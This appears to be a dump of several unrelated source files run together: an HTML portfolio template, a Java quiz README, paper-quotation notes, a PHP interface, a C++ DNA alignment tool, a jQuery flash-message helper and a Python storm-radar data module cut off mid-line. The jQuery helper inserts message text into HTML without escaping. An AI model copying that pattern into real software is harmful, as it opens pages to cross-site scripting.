</ul>
</div>
</section>
<!-- /PAGE HEADER -->
<!-- -->
<section id="portfolio" class="dark nopadding-bottom">
<div class="container">
<div class="row">
<div class="col-md-8 col-sm-8">
<!-- Subtitle -->
<div class="heading-title heading-border">
<h2>Parallax Image Name <span>Details</span></h2>
<ul class="list-inline categories nomargin">
<li><a href="#">Photography</a></li>
<li><a href="#">Design</a></li>
</ul>
</div>
<!-- /Subtitle -->
<p>Donec sed odio dui. Nulla vitae elit libero, a pharetra augue. Nullam id dolor id nibh ultricies vehicula ut id elit. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Duis mollis, est non commodo luctus. Aenean lacinia bibendum nulla sed consectetur. Cras mattis consectetur purus sit amet fermentum.</p>
<p class="font-lato size-18">Aenean lacinia bibendum nulla sed consectetur. Cras mattis consectetur purus sit amet fermentum. Donec id elit non mi porta gravida at eget metus. Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
<p>
<a class="label label-default letter-spacing-1" href="portfolio-single-parallax.html">CLICK FOR LIGHT TITLE</a>
<a class="label label-default letter-spacing-1" href="portfolio-single-parallax-2.html">CLICK FOR DARK TITLE</a>
</p>
</div>
<div class="col-md-4 col-sm-4">
<div class="panel panel-default">
<div class="panel-body">
<p class="font-lato size-18">Integer posuere erat a ante venenatis dapibus posuere velit aliquet nulla sed consectetur.</p>
<ul class="portfolio-detail-list list-unstyled nomargin">
<li><span><i class="fa fa-user"></i>Author:</span> Smarty Inc.</li>
<li><span><i class="fa fa-calendar"></i>Released:</span> 29th June 2015</li>
<li><span><i class="fa fa-lightbulb-o"></i>Technologies:</span> HTML / CSS / JAVASCRIPT</li>
<li><span><i class="fa fa-link"></i>Website:</span> <a href="#">www.stepofweb.com</a></li>
</ul>
</div>
<div class="panel-footer">
<!-- Social Icons -->
<a href="#" class="social-icon social-icon-sm social-icon-transparent social-facebook" data-toggle="tooltip" data-placement="top" title="Facebook">
<i class="icon-facebook"></i>
<i class="icon-facebook"></i>
</a>
<a href="#" class="social-icon social-icon-sm social-icon-transparent social-twitter" data-toggle="tooltip" data-placement="top" title="Twitter">
<i class="icon-twitter"></i>
<i class="icon-twitter"></i>
</a>
<a href="#" class="social-icon social-icon-sm social-icon-transparent social-gplus" data-toggle="tooltip" data-placement="top" title="Google plus">
<i class="icon-gplus"></i>
<i class="icon-gplus"></i>
</a>
<a href="#" class="social-icon social-icon-sm social-icon-transparent social-linkedin" data-toggle="tooltip" data-placement="top" title="Linkedin">
<i class="icon-linkedin"></i>
<i class="icon-linkedin"></i>
</a>
<a href="#" class="social-icon social-icon-sm social-icon-transparent social-pinterest" data-toggle="tooltip" data-placement="top" title="Pinterest">
<i class="icon-pinterest"></i>
<i class="icon-pinterest"></i>
</a>
<!-- /Social Icons -->
</div>
</div>
</div>
</div>
<!-- RELATED -->
<div class="heading-title heading-dotted text-center margin-top-50 margin-bottom-80">
<h2>RELATED PROJECTS</h2>
</div>
</div>
<!--
RELATED CAROUSEL
controlls-over = navigation buttons over the image
buttons-autohide = navigation buttons visible on mouse hover only
owl-carousel item paddings
.owl-padding-0
.owl-padding-1
.owl-padding-2
.owl-padding-3
.owl-padding-6
.owl-padding-10
.owl-padding-15
.owl-padding-20
-->
<div class="text-center portfolio-nogutter">
<div class="owl-carousel owl-padding-1 nomargin buttons-autohide controlls-over" data-plugin-options='{"singleItem": false, "items": "5", "autoPlay": 3500, "navigation": true, "pagination": false}'>
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/3-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/3-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/4-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/4-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/5-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/5-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/6-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/6-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/7-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/7-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/8-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/8-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/9-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/9-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
<!-- item -->
<div class="item-box">
<figure>
<span class="item-hover">
<span class="overlay dark-5"></span>
<span class="inner">
<!-- lightbox -->
<a class="ico-rounded lightbox" href="assets/images/demo/mockups/1200x800/10-min.jpg" data-plugin-options='{"type":"image"}'>
<span class="fa fa-plus size-20"></span>
</a>
<!-- details -->
<a class="ico-rounded" href="portfolio-single-slider.html">
<span class="glyphicon glyphicon-option-horizontal size-20"></span>
</a>
</span>
</span>
<img class="img-responsive" src="assets/images/demo/mockups/600x399/10-min.jpg" width="600" height="399" alt="">
</figure>
</div>
<!-- /item -->
</div>
</div>
</section>
<!-- / -->
<!-- FOOTER -->
<footer id="footer">
<div class="container">
<div class="row">
<div class="col-md-3">
<!-- Footer Logo -->
<img class="footer-logo" src="assets/images/logo-footer.png" alt="" />
<!-- Small Description -->
<p>Integer posuere erat a ante venenatis dapibus posuere velit aliquet.</p>
<!-- Contact Address -->
<address>
<ul class="list-unstyled">
<li class="footer-sprite address">
PO Box 21132<br>
Here Weare St, Melbourne<br>
Vivas 2355 Australia<br>
</li>
<li class="footer-sprite phone">
Phone: 1-800-565-2390
</li>
<li class="footer-sprite email">
<a href="mailto:support@yourname.com">support@yourname.com</a>
</li>
</ul>
</address>
<!-- /Contact Address -->
</div>
<div class="col-md-3">
<!-- Latest Blog Post -->
<h4 class="letter-spacing-1">LATEST NEWS</h4>
<ul class="footer-posts list-unstyled">
<li>
<a href="#">Donec sed odio dui. Nulla vitae elit libero, a pharetra augue</a>
<small>29 June 2015</small>
</li>
<li>
<a href="#">Nullam id dolor id nibh ultricies</a>
<small>29 June 2015</small>
</li>
<li>
<a href="#">Duis mollis, est non commodo luctus</a>
<small>29 June 2015</small>
</li>
</ul>
<!-- /Latest Blog Post -->
</div>
<div class="col-md-2">
<!-- Links -->
<h4 class="letter-spacing-1">EXPLORE SMARTY</h4>
<ul class="footer-links list-unstyled">
<li><a href="#">Home</a></li>
<li><a href="#">About Us</a></li>
<li><a href="#">Our Services</a></li>
<li><a href="#">Our Clients</a></li>
<li><a href="#">Our Pricing</a></li>
<li><a href="#">Smarty Tour</a></li>
<li><a href="#">Contact Us</a></li>
</ul>
<!-- /Links -->
</div>
<div class="col-md-4">
<!-- Newsletter Form -->
<h4 class="letter-spacing-1">KEEP IN TOUCH</h4>
<p>Subscribe to Our Newsletter to get Important News & Offers</p>
<form class="validate" action="php/newsletter.php" method="post" data-success="Subscribed! Thank you!" data-toastr-position="bottom-right">
<div class="input-group">
<span class="input-group-addon"><i class="fa fa-envelope"></i></span>
<input type="email" id="email" name="email" class="form-control required" placeholder="Enter your Email">
<span class="input-group-btn">
<button class="btn btn-success" type="submit">Subscribe</button>
</span>
</div>
</form>
<!-- /Newsletter Form -->
<!-- Social Icons -->
<div class="margin-top-20">
<a href="#" class="social-icon social-icon-border social-facebook pull-left" data-toggle="tooltip" data-placement="top" title="Facebook">
<i class="icon-facebook"></i>
<i class="icon-facebook"></i>
</a>
<a href="#" class="social-icon social-icon-border social-twitter pull-left" data-toggle="tooltip" data-placement="top" title="Twitter">
<i class="icon-twitter"></i>
<i class="icon-twitter"></i>
</a>
<a href="#" class="social-icon social-icon-border social-gplus pull-left" data-toggle="tooltip" data-placement="top" title="Google plus">
<i class="icon-gplus"></i>
<i class="icon-gplus"></i>
</a>
<a href="#" class="social-icon social-icon-border social-linkedin pull-left" data-toggle="tooltip" data-placement="top" title="Linkedin">
<i class="icon-linkedin"></i>
<i class="icon-linkedin"></i>
</a>
<a href="#" class="social-icon social-icon-border social-rss pull-left" data-toggle="tooltip" data-placement="top" title="Rss">
<i class="icon-rss"></i>
<i class="icon-rss"></i>
</a>
</div>
<!-- /Social Icons -->
</div>
</div>
</div>
<div class="copyright">
<div class="container">
<ul class="pull-right nomargin list-inline mobile-block">
<li><a href="#">Terms & Conditions</a></li>
<li>•</li>
<li><a href="#">Privacy</a></li>
</ul>
© All Rights Reserved, Company LTD
</div>
</div>
</footer>
<!-- /FOOTER -->
</div>
<!-- /wrapper -->
<!-- SCROLL TO TOP -->
<a href="#" id="toTop"></a>
<!-- PRELOADER -->
<div id="preloader">
<div class="inner">
<span class="loader"></span>
</div>
</div><!-- /PRELOADER -->
<!-- JAVASCRIPT FILES -->
<script type="text/javascript">var plugin_path = 'assets/plugins/';</script>
<script type="text/javascript" src="assets/plugins/jquery/jquery-2.1.4.min.js"></script>
<script type="text/javascript" src="assets/js/scripts.js"></script>
<!-- STYLESWITCHER - REMOVE -->
<script async type="text/javascript" src="assets/plugins/styleswitcher/styleswitcher.js"></script>
</body>
</html> |
# Random Addition Quiz by Tony Liang
Made using Java SE 1.8.
Simple addition quiz game. Generates two random positive integers under 100 and asks the user for the sum of the two integers. Then, it checks if the answer is correct.
# Project Setup
### Eclipse IDE Instructions
1. Open Eclipse.
2. Create a new project.
3. Right click the folder of the project and click Import.
4. Drop down the General folder and click File System.
5. Click Next.
6. Click Browse and click the location of the folder that contains the src folder and its files to import.
7. On the left side, drop down the selected folder, click the src folder, and click Finish.
8. In the Package Explorer tab, drop down the project folder, the src folder, and the package and click RandomAdditionQuiz.java.
9. Run the program.
# How To Use
1. Enter the sum of the two integers. |
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Contextmapping: experiences from practice</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
</head>
<body>
<h1>
<a href="../papers/39c1669abc409cd52d9387938d1eac0c.pdf">Contextmapping: experiences from practice</a>
</h1>
<h2>Authors</h2>
<p>FROUKJE SLEESWIJK VISSER, PIETER JAN STAPPERS, REMKO VAN DER<br/>LUGT</p>
<h2>Year</h2>
<h2>Notes</h2>
<p>Credited elsewhere for the phrase "experts of their experiences" although it doesn't seem to actually be in the paper. Similar phrases appear, though.</p>
<h2>Tags</h2>
<h2>Relevance</h2>
<h2>Quotations</h2>
<p>"In this paper we share our insights, based on several projects from research and many years of industrial practice, of conducting user studies with generative techniques."</p>
<p>"The definition of context as ‘the environment of human-computer interaction’ indicates where context begins, but does not indicate where it ends. It just states it is what is outside the product. The term ‘context’ is a slippery notion. Context has many components besides time and space. We use the term context to refer to ‘all factors that influence the experience of a product use’."</p>
<p>"A basic mechanism in generative techniques is to let people construct a view on the context, by calling up their memories of<br/>the past and by eliciting their dreams of the future."</p>
<p>"Conventional user study techniques, such as interviews, observations and focus groups (Preece et al., 2002), uncover explicit and observable knowledge about contexts. The main limitation of conventional techniques, as far as designers of future products are concerned, is that they only offer a view on people’s current and past experiences, but provide little hold on the future. For learning about potential future experiences, we need to include peoples’ dreams and fears, their aspirations and ideas."</p>
<p>"The basic principle behind generative techniques is to let people make designerly artefacts and then tell a story about what they have made. Examples of such artefacts are the collages on the table shown in figure 1 and the map shown in figure 7. The process of making artefacts such as drawings, collages and models, enables people to access and express their experiences. People reflect on, re-live and to some degree re-feel their experiences when they express themselves in these ways."</p>
<p>"A contextmapping study typically involves a sequence of research steps including preparation, sensitizing participants, group sessions, analysis and communication"</p>
<p>"Generative research appears less formal than more traditional forms of research but its successful application rests on carefully selecting the main directions of exploration"</p>
<p>"Sensitizing is a process where participants are triggered, encouraged and motivated to think, reflect, wonder and explore aspects of their personal context in their own time and environment."</p>
<h2>Boundary Objects</h2>
<p>collages</p>
<h2>Concepts</h2>
<p>Contextmapping, generative techniques</p>
<h2>Field of Study</h2>
<h2>Methodology</h2>
<h2>References</h2>
<!-- UNIQUE HASH 39c1669abc409cd52d9387938d1eac0c -->
</body>
</html>
|
<?php
namespace MiniLab\SelMap\Data;
interface CellInterface
{
} |
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <stdexcept>
#include <boost/program_options.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/tuple/tuple.hpp>
#include <btl/fasta_writer.h>
#include "ereal.h"
#include "dna_sequence.h"
#include "main_io.h"
#include "io.h"
#include "dna_alignment_sequence.h"
#include "rda_functions.h"
#include "krda_improve.h"
#include "needleman.h"
#include "nw_model_parameters.h"
#include "alignment_functions.h"
#include "utility.h"
#include "annotation.h"
#define PARAMETER_ERROR 1
// forward declare version variable
extern const char* build_string;
int main( int argc, char* argv[] ) {
// load program options
using namespace boost::program_options;
using namespace std;
string program_name("rda build ");
program_name += string(build_string);
options_description desc("Allowed options");
desc.add_options()
( "help", "produce help message" )
( "target,t", value<string>(), "first sequence" )
( "query,q", value<string>(), "second sequence" )
( "out,o", value<string>(), "output alignment file" )
( "parameter-file,p", value<string>(), "set parameters from file" )
( "align-method", value<unsigned int>()->default_value(0), "alignment method: 0 RDA, 1 needleman" )
( "block-size,k", value<unsigned int>()->default_value(40), "maximum block size" )
( "block-breaks", "add pure gap sites as block breaks" )
( "output-maf", "output alignment in MAF format")
;
variables_map vm;
store( parse_command_line( argc, argv, desc ), vm );
notify(vm);
if( (argc < 2) || vm.count("help")) {
cout << program_name << endl << desc << endl;
return 1;
}
require_option( vm, "target", PARAMETER_ERROR );
require_option( vm, "query", PARAMETER_ERROR );
unsigned int K = vm.count("block-size") ? vm["block-size"].as<unsigned int>() : 40;
// precompute lookup tables
ereal::init();
try {
dna_sequence_ptr target,query;
target = load_sequence( vm["target"].as<string>() );
query = load_sequence( vm["query"].as<string>() );
require_size_above( *target, 1 );
require_size_above( *query, 1 );
krda_improve<needleman> krda;
krda.set_k(K);
needleman nw;
// load parameter file if needed
if( vm.count("parameter-file") ) {
nw_model_parameters_ptr mp = load_parameters_from_file( vm["parameter-file"].as<string>() );
krda.set_parameters( *mp );
nw.set_s( mp->pr_open, mp->p, mp->q );
nw.set_mean_gap_length( mp->mean_gap_length );
}
if( vm.count("block-breaks") ) krda.set_block_marker( true );
// build final alignment by aligning each identified region with needleman wunch
dna_alignment_sequence_ptr alignmenta = new_dna_alignment_sequence();
dna_alignment_sequence_ptr alignmentb = new_dna_alignment_sequence();
pairwise_dna_alignment final = pairwise_dna_alignment( alignmenta, alignmentb, 0 );
dna_sequence_region_ptr alla = new_dna_sequence_region(target), allb = new_dna_sequence_region(query);
vector< pair<dna_sequence_region_ptr,dna_sequence_region_ptr> > training_set;
training_set.push_back( make_pair(alla,allb) );
// open output file now so that if there is a problem we don't waste time aligning stuff
ofstream out_file;
if( vm.count("out") ) {
out_file.open( vm["out"].as<string>().c_str(), ios::out|ios::trunc );
if( out_file.fail() ) {
cerr << "unable to open " << vm["out"].as<string>() << " for writing" << endl;
return 4;
}
}
annotation_ptr myann;
switch( vm["align-method"].as<unsigned int>() ) {
case 1:
final = nw.align(*alla,*allb);
break;
case 0:
final = krda.align(*alla,*allb);
break;
default:
throw runtime_error("unknown alignment method");
}
// label alignments
final.a->tags["accession"] = target->tags["accession"];
final.b->tags["accession"] = query->tags["accession"];
string info = program_name;
switch( vm["align-method"].as<unsigned int>() ) {
case 1:
info += string(" nm score=") + boost::lexical_cast<string>((double)final.score);
break;
case 0:
info += string(" rda k=") + boost::lexical_cast<string>(K);
info += string(" score=") + boost::lexical_cast<string>((double)final.score);
}
final.a->tags["description"] = final.b->tags["description"] = info;
ostream *out = vm.count("out") ? &out_file : &cout;
if( vm.count("output-maf") ) {
// Output MAF format.
*out << "##maf version=1" << endl;
*out << "a score=" << final.score << endl;
*out << "s " << final.a->tags["accession"] << "\t0\t" << target->data.size() << "\t+\t" << target->data.size() << "\t";
for( dna_alignment_sequence_data::const_iterator j = final.a->data.begin(); j != final.a->data.end(); ++j ) *out << *j;
*out << endl;
*out << "s " << final.b->tags["accession"] << "\t0\t" << query->data.size() << "\t+\t" << query->data.size() << "\t";
for( dna_alignment_sequence_data::const_iterator j = final.b->data.begin(); j != final.b->data.end(); ++j ) *out << *j;
*out << endl;
} else {
*out << btl::fasta_writer( *final.a );
*out << btl::fasta_writer( *final.b );
}
if( vm.count("out") ) out_file.close();
} catch( exception &e ) {
cerr << "FATAL: " << e.what() << endl;
}
return 0;
}
|
function flashMessage(type, message) {
var flashContainer = $('#flash-message');
var flash = null;
if (message.title) {
flash = $('<div class="alert alert-block alert-' + type + '"><h4 class="alert-heading">' + message.title + '</h4><p>' + message.message + '</p></div>');
}
else {
flash = $('<div class="alert alert-block alert-' + type + '"><p>' + message + '</p></div>');
}
flashContainer.append(flash);
setupFlash.call(flash);
}
function setupFlash()
{
var flash = $(this);
if (flash.html() != '') {
var timeout = flash.data('timeout');
if (timeout) {
clearTimeout(timeout);
}
if (!flash.hasClass('alert-danger')) {
flash.data('timeout', setTimeout(function() { flash.fadeOut(400, function() { $(this).remove(); }); }, 5000));
}
flash.fadeIn();
}
}
function showFlashMessage() {
var flashes = $('#flash-message .alert');
flashes.each(setupFlash);
}
function initFlashMessage(){
$('#flash-message').on('click', '.alert', function() { $(this).fadeOut(400, function() { $(this).remove(); }) ; });
showFlashMessage();
}
|
"""Deals with input examples for deep learning.
One "input example" is one storm object.
--- NOTATION ---
The following letters will be used throughout this module.
E = number of examples (storm objects)
M = number of rows in each radar image
N = number of columns in each radar image
H_r = number of radar heights
F_r = number of radar fields (or "variables" or "channels")
H_s = number of sounding heights
F_s = number of sounding fields (or "variables" or "channels")
C = number of radar field/height pairs
"""
import copy
import glob
import os.path
import numpy
import netCDF4
from gewittergefahr.gg_utils import radar_utils
from gewittergefahr.gg_utils import soundings
from gewittergefahr.gg_utils import target_val_utils
from gewittergefahr.gg_utils import time_conversion
from gewittergefahr.gg_utils import number_rounding
from gewittergefahr.gg_utils import temperature_conversions as temp_conversion
from gewittergefahr.gg_utils import storm_tracking_utils as tracking_utils
from gewittergefahr.gg_utils import file_system_utils
from gewittergefahr.gg_utils import error_checking
from gewittergefahr.deep_learning import storm_images
from gewittergefahr.deep_learning import deep_learning_utils as dl_utils
SEPARATOR_STRING = '\n\n' + '*' * 50 + '\n\n'
BATCH_NUMBER_REGEX = '[0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
TIME_FORMAT_IN_FILE_NAMES = '%Y-%m-%d-%H%M%S'
DEFAULT_NUM_EXAMPLES_PER_OUT_CHUNK = 8
DEFAULT_NUM_EXAMPLES_PER_OUT_FILE = 128
NUM_BATCHES_PER_DIRECTORY = 1000
AZIMUTHAL_SHEAR_FIELD_NAMES = [
radar_utils.LOW_LEVEL_SHEAR_NAME, radar_utils.MID_LEVEL_SHEAR_NAME
]
TARGET_NAMES_KEY = 'target_names'
ROTATED_GRIDS_KEY = 'rotated_grids'
ROTATED_GRID_SPACING_KEY = 'rotated_grid_spacing_metres'
FULL_IDS_KEY = 'full_storm_id_strings'
STORM_TIMES_KEY = 'storm_times_unix_sec'
TARGET_MATRIX_KEY = 'target_matrix'
RADAR_IMAGE_MATRIX_KEY = 'radar_image_matrix'
RADAR_FIELDS_KEY = 'radar_field_names'
RADAR_HEIGHTS_KEY = 'radar_heights_m_agl'
SOUNDING_FIELDS_KEY = 'sounding_field_names'
SOUNDING_MATRIX_KEY = 'sounding_matrix'
SOUNDING_HEIGHTS_KEY = 'sounding_heights_m_agl'
REFL_IMAGE_MATRIX_KEY = 'reflectivity_image_matrix_dbz'
AZ_SHEAR_IMAGE_MATRIX_KEY = 'az_shear_image_matrix_s01'
MAIN_KEYS = [
FULL_IDS_KEY, STORM_TIMES_KEY, RADAR_IMAGE_MATRIX_KEY,
REFL_IMAGE_MATRIX_KEY, AZ_SHEAR_IMAGE_MATRIX_KEY, TARGET_MATRIX_KEY,
SOUNDING_MATRIX_KEY
]
REQUIRED_MAIN_KEYS = [
FULL_IDS_KEY, STORM_TIMES_KEY, TARGET_MATRIX_KEY
]
METADATA_KEYS = [
TARGET_NAMES_KEY, ROTATED_GRIDS_KEY, ROTATED_GRID_SPACING_KEY,
RADAR_FIELDS_KEY, RADAR_HEIGHTS_KEY, SOUNDING_FIELDS_KEY,
SOUNDING_HEIGHTS_KEY
]
TARGET_NAME_KEY = 'target_name'
TARGET_VALUES_KEY = 'target_values'
EXAMPLE_DIMENSION_KEY = 'storm_object'
ROW_DIMENSION_KEY = 'grid_row'
COLUMN_DIMENSION_KEY = 'grid_column'
REFL_ROW_DIMENSION_KEY = 'reflectivity_grid_row'
REFL_COLUMN_DIMENSION_KEY = 'reflectivity_grid_column'
AZ_SHEAR_ROW_DIMENSION_KEY = 'az_shear_grid_row'
AZ_SHEAR_COLUMN_DIMENSION_KEY = 'az_shear_grid_column'
RADAR_FIELD_DIM_KEY = 'radar_field'
RADAR_HEIGHT_DIM_KEY = 'radar_height'
RADAR_CHANNEL_DIM_KEY = 'radar_channel'
SOUNDING_FIELD_DIM_KEY = 'sounding_field'
SOUNDING_HEIGHT_DIM_KEY = 'sounding_height'
TARGET_VARIABLE_DIM_KEY = 'target_variable'
STORM_ID_CHAR_DIM_KEY = 'storm_id_character'
RADAR_FIELD_CHAR_DIM_KEY = 'radar_field_name_character'
SOUNDING_FIELD_CHAR_DIM_KEY = 'sounding_field_name_character'
TARGET_NAME_CHAR_DIM_KEY = 'target_name_character'
RADAR_FIELD_KEY = 'radar_field_name'
OPERATION_NAME_KEY = 'operation_name'
MIN_HEIGHT_KEY = 'min_height_m_agl'
MAX_HEIGHT_KEY = 'max_height_m_agl'
MIN_OPERATION_NAME = 'min'
MAX_OPERATION_NAME = 'max'
MEAN_OPERATION_NAME = 'mean'
VALID_LAYER_OPERATION_NAMES = [
MIN_OPERATION_NAME, MAX_OPERATION_NAME, MEAN_OPERATION_NAME
]
OPERATION_NAME_TO_FUNCTION_DICT = {
MIN_OPERATION_NAME: numpy.min,
MAX_OPERATION_NAME: numpy.max,
MEAN_OPERATION_NAME: numpy.mean
}
MIN_RADAR_HEIGHTS_KEY = 'min_radar_heights_m_agl'
MAX_RADAR_HEIGHTS_KEY = 'max_radar_heights_m_agl'
RADAR_LAYER_OPERATION_NAMES_KEY = 'radar_layer_operation_names'
def _read_soundings(sounding_file_name, sounding_field_names, radar_image_dict):
"""Reads storm-centered soundings and matches w storm-centered radar imgs.
:param sounding_file_name: Path to input file (will be read by
`soundings.read_soundings`).
:param sounding_field_names: See doc for `soundings.read_soundings`.
:param radar_image_dict: Dictionary created by
`storm_images.read_storm_images`.
:return: sounding_dict: Dictionary created by `soundings.read_soundings`.
:return: radar_image_dict: Same as input, but excluding storm objects with
no sounding.
"""
print('Reading data from: "{0:s}"...'.format(sounding_file_name))
sounding_dict, _ = soundings.read_soundings(
netcdf_file_name=sounding_file_name,
field_names_to_keep=sounding_field_names,
full_id_strings_to_keep=radar_image_dict[storm_images.FULL_IDS_KEY],
init_times_to_keep_unix_sec=radar_image_dict[
storm_images.VALID_TIMES_KEY]
)
num_examples_with_soundings = len(sounding_dict[soundings.FULL_IDS_KEY])
if num_examples_with_soundings == 0:
return None, None
radar_full_id_strings = numpy.array(
radar_image_dict[storm_images.FULL_IDS_KEY]
)
orig_storm_times_unix_sec = (
radar_image_dict[storm_images.VALID_TIMES_KEY] + 0
)
indices_to_keep = []
for i in range(num_examples_with_soundings):
this_index = numpy.where(numpy.logical_and(
radar_full_id_strings == sounding_dict[soundings.FULL_IDS_KEY][i],
orig_storm_times_unix_sec ==
sounding_dict[soundings.INITIAL_TIMES_KEY][i]
))[0][0]
indices_to_keep.append(this_index)
indices_to_keep = numpy.array(indices_to_keep, dtype=int)
radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY] = radar_image_dict[
storm_images.STORM_IMAGE_MATRIX_KEY
][indices_to_keep, ...]
radar_image_dict[storm_images.FULL_IDS_KEY] = sounding_dict[
soundings.FULL_IDS_KEY
]
radar_image_dict[storm_images.VALID_TIMES_KEY] = sounding_dict[
soundings.INITIAL_TIMES_KEY
]
return sounding_dict, radar_image_dict
def _create_2d_examples(
radar_file_names, full_id_strings, storm_times_unix_sec,
target_matrix, sounding_file_name=None, sounding_field_names=None):
"""Creates 2-D examples for one file time.
E = number of desired examples (storm objects)
e = number of examples returned
T = number of target variables
:param radar_file_names: length-C list of paths to storm-centered radar
images. Files will be read by `storm_images.read_storm_images`.
:param full_id_strings: length-E list with full IDs of storm objects to
return.
:param storm_times_unix_sec: length-E numpy array with valid times of storm
objects to return.
:param target_matrix: E-by-T numpy array of target values (integer class
labels).
:param sounding_file_name: Path to sounding file (will be read by
`soundings.read_soundings`). If `sounding_file_name is None`, examples
will not include soundings.
:param sounding_field_names: See doc for `soundings.read_soundings`.
:return: example_dict: Same as input for `write_example_file`, but without
key "target_names".
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(radar_file_names[0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_names[0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
num_channels = len(radar_file_names)
tuple_of_image_matrices = ()
for j in range(num_channels):
if j != 0:
print('Reading data from: "{0:s}"...'.format(radar_file_names[j]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
radar_field_names = [
storm_images.image_file_name_to_field(f) for f in radar_file_names
]
radar_heights_m_agl = numpy.array(
